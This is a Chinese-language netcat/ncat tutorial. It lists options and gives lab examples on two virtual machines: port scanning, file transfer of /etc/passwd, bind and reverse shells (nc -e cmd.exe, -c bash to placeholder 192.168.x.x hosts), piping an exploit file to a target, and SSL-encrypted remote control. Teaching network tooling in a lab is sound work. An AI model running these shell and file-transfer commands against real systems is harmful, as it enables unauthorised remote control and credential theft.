下载地址:netcat 1.11 for Win32/Win64
虚拟机下载(kali):
apt install ncat
nc的使用方法
netcat被誉为网络安全界的‘瑞士军刀’,相信没有什么人不认识它吧...... 一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。
在中国,它的WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另一个是由‘红与黑’编译后的新‘浓缩’版。‘浓缩’版的主程序只有10多KB(10多KB的NC是不能完成下面所说的第4、第5种使用方法,有此功能的原版NC好象要60KB:P),虽然“体积”小,但很完成很多工作。
nc.exe -h即可看到各参数的使用方法。
基本格式:nc [-options] hostname port[s] [ports] ...
nc -l -p port [options] [hostname] [port]
-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时
基本用法:
大概有以下几种用法:
1)连接到REMOTE主机,例子:
格式:nc -nvv 192.168.x.x 80
连到192.168.x.x的TCP80端口
2)监听LOCAL主机,例子:
格式:nc -l -p 80
3)扫描远程主机,例子:
格式:nc -nvv -w2 -z 192.168.x.x 80-445
扫描192.168.x.x的TCP80到TCP445的所有端口
4)REMOTE主机绑定SHELL,例子:
格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe
绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
5)REMOTE主机绑定SHELL并反向连接,例子:
格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354
绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令“|”与重定向命令“<”、“>”等等命令功能更强大......)。
高级用法:
6)作攻击程序用,例子:
格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:exploit.txt
连接到192.168.x.x的80端口,并在其管道中发送c:exploit.txt的内容(两种格式确有相同的效果,真是有异曲同工之妙:P)
实例:需要准备两个虚拟机(一台服务端,一台客户端)
1,文本传输:
服务端:
nc -l -p (端口号)
客户端
nc -nv (服务端的ip) (端口号)
此时无论是在客户端还是服务端机子上发送消息,都是可以看到的
2,文件传输
把两台机器都放在/tmp下,并把/tmp下的所有内容删除。
在客户端中准备/etc/passwd文件,拷贝到/tmp下。(将这个文件传给服务端)
在服务端输入命令,等待客户端发送文件,并且将发过来的文件重命名为test.txt,默认应该就是放在你刚刚在的这个目录(比如说我是/tmp)。
>是使用在接收方的命令中,<是使用在发送方的命令中
nc -lp (端口号) > (文件路径/文件名)
等待接收ing
在客户端输入命令,传输passwd文件给服务端
nc -vn (服务端的ip) (端口号) < (文件路径)
再来看服务端这边,已经不再是等待状态了。
查看/tmp下文件,也多了一个test.txt。
3.非加密远程控制
服务端 nc -lp (端口号)
客户端 nc -vn (服务端ip) (端口号) -c bash
此时在服务端可以查看并操作客户端了,并且一般操作,客户端是没有任何提示语句的
4.加密远程控制
先在客户端输入命令,再去服务端输入命令,并且这里需要下ncat包。
客户端
apt install ncat
ncat -c bash --allow (允许访问的ip) -vnl (端口号) --ssl
服务端ncat -nv (需要控制的ip) (端口号) --ssl
可以看到已经连上被控制的电脑ip了。
5.端口监听
服务端启动对指定端口的数据包监听
tcpdump -i eth0 tcp port (端口号)
利用客户端连接该端口,连接不上不要紧,主要是连接这个过程会发送数据包,这样就可以在服务端看到这个数据包被监听了。
nc -vn (服务端ip) (端口号)
此时看服务端,可以看到刚刚的这次连接数据包监听结果。